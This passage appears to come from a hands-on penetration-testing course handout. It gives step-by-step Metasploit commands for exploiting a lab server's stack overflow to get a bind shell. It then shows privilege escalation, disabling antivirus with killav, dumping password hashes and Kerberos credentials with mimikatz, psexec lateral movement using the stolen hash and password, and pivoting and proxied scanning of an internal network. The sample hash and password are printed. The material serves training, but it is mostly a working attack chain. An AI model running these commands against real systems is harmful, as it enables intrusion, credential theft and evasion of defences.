distance to EIP by overwriting EIP with 42424242
6-jmp-esp.py
- In this script we overwrite EIP with a JMP ESP (6250AF11) inside of essfunc.dll

7-first-exploit
- In this script we actually do the stack overflow and launch a bind shell on port
4444

8 - Take a look at the file vulnserv.rb and place it in your Ubuntu host via SCP or
copy it and paste the code into the host.

------------------------------

cd /home/strategicsec/toolz/metasploit/modules/exploits/windows/misc

vi vulnserv.rb (paste the code into this file)

cd ~/toolz/metasploit

./msfconsole

use exploit/windows/misc/vulnserv
set PAYLOAD windows/meterpreter/bind_tcp
set RHOST 10.0.0.10
set RPORT 9999
exploit

********************************** Figure out who and where you are

**********************************

meterpreter> sysinfo

meterpreter> getuid

meterpreter> ipconfig

meterpreter> run post/windows/gather/checkvm

meterpreter> run get_local_subnets

********************************** Escalate privileges and get hashes

**********************************
meterpreter> use priv

meterpreter > getsystem

...got system (via technique 1).

meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM

--------------------------------------------------------

meterpreter> run killav

meterpreter> run post/windows/gather/hashdump

Got the following admin hash:

Administrator:500:6e0b0669e734d66b310cc3b8f65453da:8a2b05f1b6111fe3d642bb43e1c0c363
:::

meterpreter> run post/windows/gather/credentials/credential_collector

meterpreter > load mimikatz

meterpreter > kerberos

This should give me the administrative password:

)K5?Jocb(Yx

********************************** Enumerate the host you are on

**********************************

meterpreter> run winenum

meterpreter > run post/windows/gather/enum_applications

meterpreter > run post/windows/gather/enum_logged_on_users

meterpreter > run post/windows/gather/usb_history

meterpreter > run post/windows/gather/enum_shares

meterpreter > run post/windows/gather/enum_snmp

meterpreter> reg enumkey -k

HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run

********************************** Get out of Meterpreter

**********************************

meterpreter> background

msf exploit(savant_31_overflow) > back

msf>
********************************** Lateral Movement *******************************

Now we can run the PSEXEC exploit.

-- Option 1:
use exploit/windows/smb/psexec

set SMBUser Administrator

set SMBPass )K5?Jocb(Yx

set RHOST 10.0.0.15

set payload windows/meterpreter/bind_tcp

set LPORT 2345

exploit

********************************** Get out of Meterpreter

**********************************

meterpreter> background

msf exploit(psexec) >back

msf>

**********************************

-- Option 2:
use exploit/windows/smb/psexec

set SMBUser Administrator

set SMBPass 6e0b0669e734d66b310cc3b8f65453da:8a2b05f1b6111fe3d642bb43e1c0c363

set payload windows/meterpreter/bind_tcp

set RHOST 10.0.0.15

set LPORT 5678

exploit

********************************** Set up your Pivot

**********************************

meterpreter > background

<-- background the session
You want to get back to this prompt:
msf exploit(handler) > back <--- you need to get to
main msf> prompt

sessions -l <--find a session you want

to pivot through (note the IP and session number)

Now set up Pivot with a route add

---------------------------------

route print <---

should be blank

route add 10.0.0.15 255.255.255.0 1 <-- Use correct session

id (2), it may be 3, or 4 (make sure you are on msf> prommpt, not meterpreter)

route print <----- verify new route

******************************Scan through your Pivot

******************************

use auxiliary/scanner/portscan/tcp <-- Run aux modules through

your pivot

set THREADS 10

set RHOSTS 10.0.0.0/24 <-- Keep changing this IP and re-running the
scan until you find something you want to attack

set PORTS 445

run

####################################
# Socks Tunneling with Proxychains #
####################################
--- Open a duplicate putty session to your Ubuntu host

sudo apt install -y proxychains

infosecaddicts

sudo vi /etc/proxychains.conf <--- Make sure that last

line of the file is: socks4 127.0.0.1 1080
infosecaddicts

Comment out the proxy_dns, change the 9050 (tor port) to the metasploit
socks proxy port (1080) and save it.
socks4 127.0.0.1 1080

***************************Set up a Socks Proxy through your Pivot

*************************

use auxiliary/server/socks4a

set SRVHOST 127.0.0.1

set SRVPORT 1080

run

--- Go back to your other putty session with the meterpreter shell
cd ~

proxychains nmap -sT -PN -vv -sV --script=smb-os-discovery.nse -p 445 10.0.0.0/24

<--- This is going to be really slow

proxychains nmap -sT -PN -n -sV -p

21,22,23,25,80,110,139,443,1433,1521,3306,3389,8080,10000 10.0.0/24 <---
This is going to be really slow

---close the duplicate putty session to your Ubuntu host

********************************** Begin Day 4 Homework Part 1

**********************************
NOTE: THIS IS AN ABSOLUTE REQUIREMENT FOR YOUR CPE CREDITS

You must take screenshots of you performing all of the scanning tasks that we have
done so far today

You must create a MS WORD document titled 'FirstName-LastName-Pentester-CyberWar-

Day4.docx' (ex: Joseph-McCray-CyberWar-Day3.docx).

You must spell you name EXACTLY as you want it spelled on your class certificate.

********************************** End Day 4 Homework Part 1

**********************************

************************ Class Challenge ************************

Let's see how you do with someone else's vulnerable website. Your 1st target is:
http://zero.webappsecurity.com

I want you to perform a penetration test against http://zero.webappsecurity.com and

document the engagement as if it were a real project.

#########
# Day 5 #
#########

Today you finally get the chance to take a step into the world of penetration
testing.
Day 5 Task 1
We'll start by having your do a job interview for the position of junior
penetration tester. Here are the questions:
https://goo.gl/forms/l2cMNg1F50kLQsHG2

Day 5 Task 2
Create an OSINT report on the retail company TARGET. You'll all work together on
this and put together as thorough of a report as possible.
You'll each be given access to the Googele Drive where all of the resources to
complete this task are located.

Day 5 Task 3
Use nmap to map the target network (10.0.0.0/24).

Task 3a) Identify the number of reachable hosts.

Task 3b) Identify the number of open ports per hosts.

Task 3c) Identify the software versions of each application running on each exposed
port on each host in the environment.

Task 3d) Identify the vulnerable services on each host in the target network along
with their exploit-db.com ID number

Task 3e) Put all of this information into a spreadsheet in the Google Drive folder

Day 5 Task 4
Use DirBuster to go afer at least 3 servers in the target network (10.0.0.0/24).

Reference:
http://securityxploded.com/bruteforcing-filenames-on-webservers-using-dirbuster.php

Day 5 Task 5
Populate the findings spreadsheet with as much detail as possible